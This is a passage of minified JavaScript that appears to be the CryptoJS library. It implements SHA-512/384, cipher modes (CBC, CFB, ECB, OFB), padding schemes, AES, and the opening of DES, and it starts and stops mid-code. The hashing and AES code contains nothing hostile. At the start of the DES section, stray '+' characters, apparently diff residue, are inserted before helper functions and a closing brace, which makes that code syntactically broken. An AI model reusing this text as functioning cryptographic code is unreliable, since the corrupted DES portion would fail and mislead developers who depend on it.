e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= 